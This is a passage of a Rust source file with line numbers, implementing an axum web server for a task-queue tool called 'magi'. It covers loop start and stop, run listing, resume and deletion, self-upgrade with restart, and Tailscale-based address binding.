1use std::collections::HashSet;
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::queue::{Queue, Source, Task, title_from};
121use crate::run::{RunState, RunStatus};
122use crate::{chat, daemon, report, repos, run};
123
124pub const DEFAULT_PORT: u16 = 7878;
126
127const POLL: Duration = Duration::from_secs(1);
129
130const KEEPALIVE: Duration = Duration::from_secs(15);
134
135const LIST_DEFAULT: usize = 50;
139const LIST_MAX: usize = 500;
141
142const TITLE_MAX: usize = 72;
144
145const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
168 font-src data:; base-uri 'none'; form-action 'none'; \
169 frame-ancestors 'self'";
170
171const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
172const APP_CSS: &str = include_str!("../assets/ui/app.css");
173const APP_JS: &str = include_str!("../assets/ui/app.js");
174
175#[derive(Debug, Clone, Copy, PartialEq, Eq)]
177pub enum Bind {
178 Auto,
180 Addr(IpAddr),
182}
183
184impl std::str::FromStr for Bind {
185 type Err = String;
186
187 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
191 if s.eq_ignore_ascii_case("auto") {
192 return Ok(Self::Auto);
193 }
194 s.parse()
195 .map(Self::Addr)
196 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
197 }
198}
199
200impl std::fmt::Display for Bind {
201 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
202 match self {
203 Self::Auto => f.write_str("auto"),
204 Self::Addr(addr) => write!(f, "{addr}"),
205 }
206 }
207}
208
209#[derive(Debug, Clone)]
211pub struct Opts {
212 pub bind: Bind,
214 pub port: u16,
216 pub repo: PathBuf,
218 pub open: bool,
221 pub merge: Option<String>,
229}
230
231impl Default for Opts {
232 fn default() -> Self {
233 Self {
234 bind: Bind::Auto,
235 port: DEFAULT_PORT,
236 repo: PathBuf::from("."),
237 open: false,
238 merge: None,
239 }
240 }
241}
242
243#[derive(Debug, Clone)]
249pub struct Ui {
250 queue: Queue,
251 questions: Questions,
252 chats: Chats,
253 runs: PathBuf,
254 home: PathBuf,
255 repo: PathBuf,
256 turns: Arc<Mutex<HashSet<String>>>,
264 resuming: Arc<Mutex<HashSet<String>>>,
271 repos_cache: repos::Cache,
275 merge: Option<String>,
277 looping: Arc<Mutex<LoopState>>,
279 launch: Launch,
291}
292
293impl Ui {
294 pub fn new(
296 queue: Queue,
297 questions: Questions,
298 chats: Chats,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 ) -> Self {
303 Self {
304 queue,
305 questions,
306 chats,
307 runs,
308 home,
309 repo,
310 turns: Arc::default(),
311 resuming: Arc::default(),
312 repos_cache: repos::Cache::new(),
313 merge: None,
314 looping: Arc::default(),
315 launch: launch_daemon,
316 }
317 }
318
319 pub fn open(repo: PathBuf) -> Self {
322 Self::new(
323 Queue::open(),
324 Questions::open(),
325 Chats::open(),
326 run::runs_root(),
327 run::home(),
328 repo,
329 )
330 }
331
332 #[must_use]
339 pub fn with_merge(mut self, merge: Option<String>) -> Self {
340 self.merge = merge;
341 self
342 }
343
344 #[cfg(test)]
349 #[must_use]
350 fn with_launch(mut self, launch: Launch) -> Self {
351 self.launch = launch;
352 self
353 }
354
355 fn looping(&self) -> Arc<Mutex<LoopState>> {
357 Arc::clone(&self.looping)
358 }
359
360 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
367 if let Some(other) = foreign {
368 return Err(ApiError::conflict(format!(
369 "{} is already running the loop, so this one will not start a \
370 second: two loops on one queue race for the same claims and \
371 burn the agent quota twice over. Stop it where it was \
372 started.",
373 other.who()
374 )));
375 }
376 let mut state = self.lock_loop();
377 if state.live.as_ref().is_some_and(Live::alive) {
378 return Err(ApiError::conflict(format!(
379 "this magi web process (pid {}) is already running the loop",
380 std::process::id()
381 )));
382 }
383
384 let stop = daemon::Stop::new();
385 let opts = daemon::Opts {
389 repo: self.repo.clone(),
390 merge: self.merge.clone(),
391 ..daemon::Opts::default()
392 };
393 let launch = self.launch;
394 let looping = Arc::clone(&self.looping);
395 let handle = tokio::spawn({
396 let opts = opts.clone();
397 let stop = stop.clone();
398 async move {
399 let failure = match launch(opts, stop).await {
400 Ok(()) => None,
401 Err(e) => Some(format!("{e:#}")),
402 };
403 match &failure {
404 Some(why) => tracing::error!("the loop stopped: {why}"),
405 None => tracing::info!("the loop stopped"),
406 }
407 let mut state = lock_or_recover(&looping);
413 state.live = None;
414 state.last_error = failure;
415 state.rev += 1;
416 }
417 });
418 tracing::info!(
419 "the loop is now running in this process: repo {}, merge {}",
420 opts.repo.display(),
421 opts.merge.as_deref().unwrap_or("as the config says")
422 );
423 state.live = Some(Live { stop, handle, opts });
424 state.last_error = None;
427 state.rev += 1;
428 Ok(())
429 }
430
431 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
437 if let Some(other) = foreign {
438 return Err(ApiError::conflict(format!(
439 "the loop belongs to {}, and this process cannot stop it - \
440 stop it where it was started. A button that silently did \
441 nothing would be worse than this refusal.",
442 other.who()
443 )));
444 }
445 let mut state = self.lock_loop();
446 let Some(live) = state.live.as_ref() else {
447 return Ok(());
448 };
449 if live.stop.stopped() && (!park || live.stop.parking()) {
453 return Ok(());
454 }
455 if park {
456 live.stop.park();
457 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
458 } else {
459 live.stop.stop();
460 tracing::info!("the loop was asked to stop; a run in flight is finished first");
461 }
462 state.rev += 1;
463 Ok(())
464 }
465
466 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
473 let state = self.lock_loop();
474 let live = state.live.as_ref().filter(|live| live.alive());
477 LoopView {
478 running: live.is_some(),
479 stopping: live.is_some_and(|live| live.stop.finishing()),
480 parking: live.is_some_and(|live| live.stop.parking()),
481 owned: live.is_some(),
482 repo: live
483 .map_or(&self.repo, |live| &live.opts.repo)
484 .display()
485 .to_string(),
486 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
487 last_error: state.last_error.clone(),
488 daemon: DaemonView::of(reading),
489 }
490 }
491
492 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
494 lock_or_recover(&self.looping)
495 }
496
497 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
520 let mut live = self
521 .turns
522 .lock()
523 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
524 if !live.insert(id.to_owned()) {
525 return Err(ApiError::conflict(format!(
526 "chat {id} is already taking a turn"
527 )));
528 }
529 Ok(TurnGuard {
530 chat: id.to_owned(),
531 turns: Arc::clone(&self.turns),
532 })
533 }
534
535 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
542 let parking = {
543 let mut state = self.lock_loop();
544 let Some(live) = state.live.as_ref() else {
545 return Ok(None);
546 };
547 let busy = live.stop.busy_now();
548 live.stop.park();
549 state.rev += 1;
550 busy
551 };
552 Ok(if parking {
553 daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
554 } else {
555 None
556 })
557 }
558
559 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
563 let mut live = self
564 .resuming
565 .lock()
566 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
567 if !live.insert(id.to_owned()) {
568 return Err(ApiError::conflict(format!(
569 "run {id} is already being resumed"
570 )));
571 }
572 Ok(ResumeGuard {
573 run: id.to_owned(),
574 resuming: Arc::clone(&self.resuming),
575 })
576 }
577
578 pub fn router(self) -> Router {
586 Router::new()
587 .route("/", get(index))
588 .route("/app.css", get(app_css))
589 .route("/app.js", get(app_js))
590 .route("/api/health", get(health))
591 .route("/api/loop", get(loop_get).post(loop_post))
592 .route("/api/upgrade", post(upgrade_post))
593 .route("/api/runs", get(runs_list))
594 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
595 .route("/api/runs/{id}/report", get(run_report))
596 .route("/api/runs/{id}/fold", post(run_fold))
597 .route("/api/runs/{id}/resume", post(run_resume))
598 .route("/api/queue", get(queue_list).post(queue_post))
599 .route("/api/queue/{id}", delete(queue_delete))
600 .route("/api/repos", get(repos_list))
601 .route("/api/queue/{id}/hold", post(queue_hold))
602 .route("/api/queue/{id}/release", post(queue_release))
603 .route("/api/questions", get(questions_list))
604 .route("/api/questions/{id}/answer", post(question_answer))
605 .route("/api/questions/{id}/panel", get(question_panel))
606 .route("/api/questions/{id}/panel/index.html", get(question_panel))
614 .route("/api/questions/{id}/panel/{name}", get(question_asset))
615 .route("/api/questions/{id}/asset/{name}", get(question_asset))
616 .route("/api/chats", get(chats_list).post(chat_post))
617 .route("/api/chats/{id}", get(chat_detail))
618 .route("/api/chats/{id}/say", post(chat_say))
619 .route("/api/chats/{id}/file", post(chat_file))
620 .route("/api/events", get(events))
621 .with_state(Arc::new(self))
622 }
623}
624
625#[derive(Debug)]
631struct TurnGuard {
632 chat: String,
633 turns: Arc<Mutex<HashSet<String>>>,
634}
635
636impl Drop for TurnGuard {
637 fn drop(&mut self) {
638 if let Ok(mut live) = self.turns.lock() {
639 live.remove(&self.chat);
640 }
641 }
642}
643
644struct ResumeGuard {
646 run: String,
647 resuming: Arc<Mutex<HashSet<String>>>,
648}
649
650impl Drop for ResumeGuard {
651 fn drop(&mut self) {
652 if let Ok(mut live) = self.resuming.lock() {
653 live.remove(&self.run);
654 }
655 }
656}
657
658async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
659 const WINDOW: Duration = Duration::from_secs(10);
660 const GAP: Duration = Duration::from_millis(250);
661
662 let deadline = std::time::Instant::now() + WINDOW;
663 let mut said = false;
664 loop {
665 match tokio::net::TcpListener::bind(socket).await {
666 Ok(listener) => return Ok(listener),
667 Err(e)
668 if e.kind() == std::io::ErrorKind::AddrInUse
669 && std::time::Instant::now() < deadline =>
670 {
671 if !said {
672 said = true;
673 tracing::info!(
674 "{socket} is still held - waiting up to {}s for it, \
675 which is what a restart looks like from here",
676 WINDOW.as_secs()
677 );
678 }
679 tokio::time::sleep(GAP).await;
680 }
681 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
682 }
683 }
684}
685
686static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
689
690fn spawn_successor() -> Result<()> {
702 let exe = std::env::current_exe().context("find this binary")?;
703 let args: Vec<String> = std::env::args().skip(1).collect();
704 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
705
706 let mut cmd = std::process::Command::new(&exe);
707 cmd.args(&args)
708 .stdin(std::process::Stdio::null())
709 .stdout(std::process::Stdio::null())
710 .stderr(std::process::Stdio::null());
711 #[cfg(windows)]
712 {
713 use std::os::windows::process::CommandExt as _;
714 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
717 }
718 cmd.spawn().context("start the successor")?;
719 Ok(())
720}
721
722pub async fn serve(opts: Opts) -> Result<()> {
749 let (addr, warning) = resolve_bind(&opts.bind);
750 if let Some(warning) = warning {
751 tracing::warn!("{warning}");
752 }
753
754 report::set_color(false);
760
761 let ui = Ui::open(opts.repo).with_merge(opts.merge);
762 let looping = ui.looping();
763 let socket = SocketAddr::new(addr, opts.port);
764 let listener = bind_waiting(socket).await?;
765 let url = format!("http://{addr}:{}", opts.port);
766 tracing::info!(
767 "magi web UI on {url} - there is no authentication, so anyone who can \
768 reach this address can file and hold tasks: the tailnet is the \
769 security boundary"
770 );
771 tracing::info!(
772 "the queue loop is not running yet - start it from the UI, which is \
773 the whole reason this process can: nothing in the queue moves until \
774 something is running the loop"
775 );
776 if opts.open {
777 println!("{url}");
781 }
782
783 let served = axum::serve(listener, ui.router()).into_future();
784 let interrupted = async {
785 if tokio::signal::ctrl_c().await.is_err() {
786 std::future::pending::<()>().await;
791 }
792 };
793 let handover = HANDOVER.notified();
794 tokio::select! {
795 outcome = served => outcome.context("serve the web UI"),
796 () = interrupted => {
797 tracing::info!("shutting down the web UI");
798 finish_loop(&looping).await;
799 Ok(())
800 }
801 () = handover => {
802 tracing::info!("upgraded - handing this address to the successor");
803 finish_loop(&looping).await;
806 spawn_successor()
807 }
808 }
809}
810
811async fn finish_loop(state: &Mutex<LoopState>) {
818 let live = lock_or_recover(state).live.take();
819 let Some(live) = live else { return };
820 live.stop.stop();
821 lock_or_recover(state).rev += 1;
822 tracing::info!("waiting for the loop to finish the run in flight");
823 let _ = live.handle.await;
826}
827
828pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
834 match bind {
835 Bind::Addr(addr) => (*addr, None),
836 Bind::Auto => match tailscale_ip() {
837 Ok(ip) => (IpAddr::V4(ip), None),
838 Err(why) => (
839 IpAddr::V4(Ipv4Addr::LOCALHOST),
840 Some(format!(
841 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
842 local-only and a phone cannot reach it; start Tailscale \
843 or pass --bind <addr>"
844 )),
845 ),
846 },
847 }
848}
849
850fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
858 let out = std::process::Command::new("tailscale")
859 .args(["ip", "-4"])
860 .output()
861 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
862 if !out.status.success() {
863 let why = String::from_utf8_lossy(&out.stderr);
864 let why = why.trim();
865 return Err(format!(
866 "`tailscale ip -4` failed ({}){}",
867 out.status,
868 if why.is_empty() {
869 String::new()
870 } else {
871 format!(": {why}")
872 }
873 ));
874 }
875 String::from_utf8_lossy(&out.stdout)
876 .lines()
877 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
878 .find(is_tailnet)
879 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
880}
881
882fn is_tailnet(ip: &Ipv4Addr) -> bool {
884 let o = ip.octets();
885 o[0] == 100 && (64..=127).contains(&o[1])
886}
887
888type ApiResult<T> = std::result::Result<T, ApiError>;
892
893#[derive(Debug)]
895struct ApiError {
896 status: StatusCode,
897 message: String,
898 problems: Vec<String>,
908}
909
910impl ApiError {
911 fn bad_request(message: impl Into<String>) -> Self {
913 Self {
914 status: StatusCode::BAD_REQUEST,
915 message: message.into(),
916 problems: Vec::new(),
917 }
918 }
919
920 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
922 Self {
923 problems,
924 ..Self::bad_request(message)
925 }
926 }
927
928 fn not_found(message: impl Into<String>) -> Self {
930 Self {
931 status: StatusCode::NOT_FOUND,
932 message: message.into(),
933 problems: Vec::new(),
934 }
935 }
936
937 fn with_status(mut self, status: StatusCode) -> Self {
940 self.status = status;
941 self
942 }
943
944 fn bad_request_from(e: anyhow::Error) -> Self {
948 Self::bad_request(format!("{e:#}"))
949 }
950
951 fn conflict(message: impl Into<String>) -> Self {
952 Self {
953 status: StatusCode::CONFLICT,
954 message: message.into(),
955 problems: Vec::new(),
956 }
957 }
958
959 fn internal(message: impl Into<String>) -> Self {
961 Self {
962 status: StatusCode::INTERNAL_SERVER_ERROR,
963 message: message.into(),
964 problems: Vec::new(),
965 }
966 }
967}
968
969impl From<anyhow::Error> for ApiError {
970 fn from(e: anyhow::Error) -> Self {
975 Self::internal(format!("{e:#}"))
976 }
977}
978
979impl IntoResponse for ApiError {
980 fn into_response(self) -> Response {
981 let mut body = serde_json::json!({ "error": self.message });
982 if !self.problems.is_empty() {
983 if let Some(map) = body.as_object_mut() {
985 map.insert("problems".to_owned(), serde_json::json!(self.problems));
986 }
987 }
988 (self.status, Json(body)).into_response()
989 }
990}
991
992async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1001where
1002 T: Send + 'static,
1003{
1004 match tokio::task::spawn_blocking(job).await {
1005 Ok(result) => result,
1006 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1007 }
1008}
1009
1010async fn index() -> impl IntoResponse {
1011 (
1012 [(header::CONTENT_TYPE, "text/html; charset=utf-8")],
1013 INDEX_HTML,
1014 )
1015}
1016
1017async fn app_css() -> impl IntoResponse {
1018 ([(header::CONTENT_TYPE, "text/css; charset=utf-8")], APP_CSS)
1019}
1020
1021async fn app_js() -> impl IntoResponse {
1022 (
1023 [(header::CONTENT_TYPE, "text/javascript; charset=utf-8")],
1024 APP_JS,
1025 )
1026}
1027
1028#[derive(Debug, Serialize)]
1030struct HealthView {
1031 version: &'static str,
1032 home: String,
1033 queue_rev: u64,
1034 runs_rev: u64,
1035 questions_rev: u64,
1047 chats_rev: u64,
1049 loop_rev: u64,
1054 runs_unreadable: usize,
1062 questions_open: usize,
1067 chats_open: usize,
1075 daemon: DaemonView,
1076 #[serde(rename = "loop")]
1082 looping: LoopView,
1083}
1084
1085#[derive(Debug, Serialize)]
1087struct DaemonView {
1088 running: bool,
1089 idle: Option<bool>,
1090 pid: Option<u32>,
1091 current: Option<daemon::Current>,
1092 completed: Option<u64>,
1093 stale_for_secs: Option<i64>,
1094}
1095
1096impl DaemonView {
1097 fn of(status: Option<daemon::Reading>) -> Self {
1101 let Some(status) = status else {
1102 return Self {
1103 running: false,
1104 idle: None,
1105 pid: None,
1106 current: None,
1107 completed: None,
1108 stale_for_secs: None,
1109 };
1110 };
1111 let now = Timestamp::now();
1112 let age = status.age_secs(now);
1113 Self {
1114 running: status.running(now),
1115 idle: Some(status.idle),
1116 pid: status.pid,
1117 current: status.current,
1118 completed: Some(status.completed),
1119 stale_for_secs: age,
1120 }
1121 }
1122}
1123
1124async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1125 blocking(move || {
1126 let reading = daemon::read_status(&ui.home);
1130 let loop_rev = ui.lock_loop().rev;
1134 Ok(Json(HealthView {
1135 version: env!("CARGO_PKG_VERSION"),
1136 home: ui.home.display().to_string(),
1137 queue_rev: ui.queue.revision(),
1138 runs_rev: runs_revision(&ui.runs),
1139 questions_rev: ui.questions.revision(),
1140 chats_rev: ui.chats.revision(),
1141 loop_rev,
1142 runs_unreadable: runs_unreadable(&ui.runs),
1143 questions_open: ui.questions.count_open(),
1144 chats_open: ui.chats.count_open(),
1145 daemon: DaemonView::of(reading.clone()),
1146 looping: ui.loop_view(reading),
1147 }))
1148 })
1149 .await
1150}
1151
1152#[derive(Debug, Serialize)]
1154struct LoopView {
1155 running: bool,
1157 stopping: bool,
1165 parking: bool,
1173 owned: bool,
1181 repo: String,
1184 merge: Option<String>,
1187 last_error: Option<String>,
1195 daemon: DaemonView,
1198}
1199
1200#[derive(Debug, Clone, Copy)]
1209struct Foreign {
1210 pid: Option<u32>,
1212}
1213
1214impl Foreign {
1215 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1218 let reading = reading?;
1219 if !reading.running(Timestamp::now()) {
1220 return None;
1221 }
1222 match reading.pid {
1223 Some(pid) if pid == std::process::id() => None,
1224 pid => Some(Self { pid }),
1228 }
1229 }
1230
1231 fn who(&self) -> String {
1234 match self.pid {
1235 Some(pid) => format!("another magi process (pid {pid})"),
1236 None => "another magi process".to_owned(),
1237 }
1238 }
1239}
1240
1241type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1246
1247fn launch_daemon(
1249 opts: daemon::Opts,
1250 stop: daemon::Stop,
1251) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1252 Box::pin(daemon::serve_until(opts, stop))
1253}
1254
1255#[derive(Debug, Default)]
1257struct LoopState {
1258 live: Option<Live>,
1260 rev: u64,
1268 last_error: Option<String>,
1271}
1272
1273#[derive(Debug)]
1275struct Live {
1276 stop: daemon::Stop,
1278 handle: tokio::task::JoinHandle<()>,
1283 opts: daemon::Opts,
1287}
1288
1289impl Live {
1290 fn alive(&self) -> bool {
1292 !self.handle.is_finished()
1293 }
1294}
1295
1296fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1303 state.lock().unwrap_or_else(PoisonError::into_inner)
1304}
1305
1306async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1308 blocking(move || {
1309 let reading = daemon::read_status(&ui.home);
1310 Ok(Json(ui.loop_view(reading)))
1311 })
1312 .await
1313}
1314
1315#[derive(Debug, Deserialize)]
1321#[serde(deny_unknown_fields)]
1322struct LoopCommand {
1323 running: bool,
1324 #[serde(default)]
1334 park: bool,
1335}
1336
1337async fn loop_post(
1345 State(ui): State<Arc<Ui>>,
1346 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1347) -> ApiResult<Json<LoopView>> {
1348 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1351 blocking(move || {
1352 let reading = daemon::read_status(&ui.home);
1353 let foreign = Foreign::of(reading.as_ref());
1354 if body.running {
1355 ui.start_loop(foreign)?;
1356 } else {
1357 ui.stop_loop(foreign, body.park)?;
1358 }
1359 Ok(Json(ui.loop_view(reading)))
1360 })
1361 .await
1362}
1363
1364#[derive(Debug, Serialize)]
1366struct UpgradeView {
1367 from: String,
1369 parked: Option<String>,
1371 detail: String,
1373}
1374
1375async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1399 let reading = daemon::read_status(&ui.home);
1400 if let Some(other) = Foreign::of(reading.as_ref()) {
1401 return Err(ApiError::conflict(format!(
1402 "the loop belongs to {}, so replacing this binary would leave \
1403 that process running an old one against the same queue. Upgrade \
1404 where it was started.",
1405 other.who()
1406 )));
1407 }
1408
1409 let parked = ui.park_for_upgrade()?;
1412 let detail = match &parked {
1413 Some(run) => format!(
1414 "Run {} is parking at its next step. The deck replaces itself, \
1415 comes back, and the loop carries that run on from where it \
1416 stopped.",
1417 crate::run::short_of(run)
1418 ),
1419 None => "The deck replaces itself and comes back. Nothing was in \
1420 flight to park."
1421 .to_owned(),
1422 };
1423
1424 tokio::spawn(async move {
1425 if let Err(e) = upgrade_and_restart().await {
1426 tracing::error!("the upgrade did not complete: {e:#}");
1427 }
1428 });
1429
1430 Ok((
1431 StatusCode::ACCEPTED,
1432 Json(UpgradeView {
1433 from: env!("CARGO_PKG_VERSION").to_owned(),
1434 parked,
1435 detail,
1436 }),
1437 ))
1438}
1439
1440async fn upgrade_and_restart() -> Result<()> {
1445 crate::updater::run_self_update(true, false, true).await?;
1448 tracing::info!("binary replaced - asking the server to hand over");
1449 HANDOVER.notify_one();
1450 Ok(())
1451}
1452
1453#[derive(Debug, Serialize)]
1459struct RunSummary {
1460 id: String,
1461 short: String,
1462 status: String,
1463 done: bool,
1464 instruction: String,
1465 title: String,
1466 repo: String,
1467 repo_name: String,
1468 created_at: String,
1469 updated_at: String,
1470 candidates: usize,
1471 viable: usize,
1472 judges: usize,
1473 winner: Option<char>,
1474 reviews: usize,
1475 quota_losses: usize,
1476 event: Option<String>,
1477 waiting: bool,
1484 pr: Option<crate::run::PrRecord>,
1486}
1487
1488impl RunSummary {
1489 fn of(state: &RunState, waiting: bool) -> Self {
1490 Self {
1491 id: state.id.clone(),
1492 short: state.short().to_owned(),
1493 status: status_word(state.status),
1494 done: state.status.done(),
1495 instruction: state.instruction.clone(),
1496 title: title_from(&state.instruction, TITLE_MAX),
1497 repo: state.repo.display().to_string(),
1498 repo_name: state
1499 .repo
1500 .file_name()
1501 .map(|n| n.to_string_lossy().into_owned())
1502 .unwrap_or_default(),
1503 created_at: state.created_at.to_string(),
1504 updated_at: state.updated_at.to_string(),
1505 candidates: state.candidates.len(),
1506 viable: state.viable().len(),
1507 judges: state.config.graph.judges,
1508 winner: state.winner().map(|c| c.label),
1509 reviews: state.reviews.len(),
1510 quota_losses: state.quota.len(),
1511 event: state.events.last().map(|e| e.message.clone()),
1512 waiting,
1513 pr: state.pr.clone(),
1514 }
1515 }
1516}
1517
1518fn status_word(status: RunStatus) -> String {
1521 status.as_str().to_owned()
1525}
1526
1527#[derive(Debug, Deserialize)]
1529struct ListQuery {
1530 #[serde(default)]
1531 limit: Option<usize>,
1532}
1533
1534async fn runs_list(
1535 State(ui): State<Arc<Ui>>,
1536 Query(q): Query<ListQuery>,
1537) -> ApiResult<Json<Vec<RunSummary>>> {
1538 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1539 blocking(move || {
1540 let summaries = run_ids(&ui.runs)
1541 .into_iter()
1542 .filter_map(|id| read_run(&ui.runs, &id).ok())
1547 .take(limit)
1548 .map(|state| {
1549 let waiting = !ui.questions.open_for(&state.id).is_empty();
1550 RunSummary::of(&state, waiting)
1551 })
1552 .collect();
1553 Ok(Json(summaries))
1554 })
1555 .await
1556}
1557
1558#[derive(Debug, Serialize)]
1565struct RunDetailView {
1566 #[serde(flatten)]
1567 state: RunState,
1568 instruction_md: Vec<md::Node>,
1569}
1570
1571impl From<RunState> for RunDetailView {
1572 fn from(state: RunState) -> Self {
1573 Self {
1574 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1575 state,
1576 }
1577 }
1578}
1579
1580async fn run_detail(
1581 State(ui): State<Arc<Ui>>,
1582 Path(id): Path<String>,
1583) -> ApiResult<Json<RunDetailView>> {
1584 blocking(move || {
1585 let id = resolve_run(&ui.runs, &id)?;
1586 Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1587 })
1588 .await
1589}
1590
1591async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1597 blocking(move || {
1598 let id = resolve_run(&ui.runs, &id)?;
1599 let state = read_run(&ui.runs, &id)?;
1600 let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1601 state
1602 .ensure_can_delete(in_flight)
1603 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1604 let dir = ui.runs.join(&id);
1605 std::fs::remove_dir_all(&dir)
1606 .with_context(|| format!("remove run directory {}", dir.display()))?;
1607 ui.questions.abandon_for_run(
1610 &id,
1611 &format!("run {id} was deleted, so nothing is waiting for this answer"),
1612 )?;
1613 Ok(StatusCode::NO_CONTENT)
1614 })
1615 .await
1616}
1617
1618async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1637 let (id, mut state) = {
1638 let ui = Arc::clone(&ui);
1639 blocking(move || {
1640 let id = resolve_run(&ui.runs, &id)?;
1641 let state = read_run(&ui.runs, &id)?;
1642 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1643 return Err(ApiError::conflict(format!(
1644 "run {} is being worked on by a live daemon right now",
1645 state.short()
1646 )));
1647 }
1648 Ok((id, state))
1649 })
1650 .await?
1651 };
1652 let removed = crate::graph::fold_run(&mut state, true)
1653 .await
1654 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1655 Ok(Json(FoldView {
1656 run: id,
1657 removed_count: removed.len(),
1658 removed,
1659 }))
1660}
1661
1662#[derive(Debug, Serialize)]
1664struct FoldView {
1665 run: String,
1666 removed: Vec<String>,
1668 removed_count: usize,
1669}
1670
1671async fn run_resume(
1690 State(ui): State<Arc<Ui>>,
1691 Path(id): Path<String>,
1692) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1693 let (id, state) = {
1694 let ui = Arc::clone(&ui);
1695 blocking(move || {
1696 let id = resolve_run(&ui.runs, &id)?;
1697 let state = read_run(&ui.runs, &id)?;
1698 Ok((id, state))
1699 })
1700 .await?
1701 };
1702 if !state.status.resumable() {
1703 return Err(ApiError::conflict(format!(
1704 "run {} is `{}`, and only a stalled or blocked run can be resumed",
1705 state.short(),
1706 status_word(state.status)
1707 )));
1708 }
1709 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1710 return Err(ApiError::conflict(format!(
1711 "the loop is running run {} right now; magi runs one competition at \
1712 a time so the agent quota is not spent twice over. Stop the loop \
1713 first.",
1714 crate::run::short_of(&work.run)
1715 )));
1716 }
1717 let _resume = ui.begin_resume(&id)?;
1718
1719 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1722 let run = id.clone();
1723 tokio::spawn(async move {
1724 let _resume = _resume;
1725 match crate::graph::Runner::resume(&run) {
1726 Ok(mut runner) => {
1727 if let Err(e) = runner.execute().await {
1728 tracing::warn!("resume of run {run} stopped: {e:#}");
1729 }
1730 }
1731 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1734 }
1735 });
1736 Ok((StatusCode::ACCEPTED, Json(queued)))
1737}
1738
1739async fn run_report(
1740 State(ui): State<Arc<Ui>>,
1741 Path(id): Path<String>,
1742) -> ApiResult<impl IntoResponse> {
1743 let text = blocking(move || {
1744 let id = resolve_run(&ui.runs, &id)?;
1745 Ok(report::run(&read_run(&ui.runs, &id)?))
1749 })
1750 .await?;
1751 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1752}
1753
1754#[derive(Debug, Serialize)]
1760struct TaskView {
1761 #[serde(flatten)]
1762 task: Task,
1763 source_label: String,
1764 status_str: &'static str,
1765 instruction_md: Vec<md::Node>,
1769}
1770
1771impl From<Task> for TaskView {
1772 fn from(task: Task) -> Self {
1773 Self {
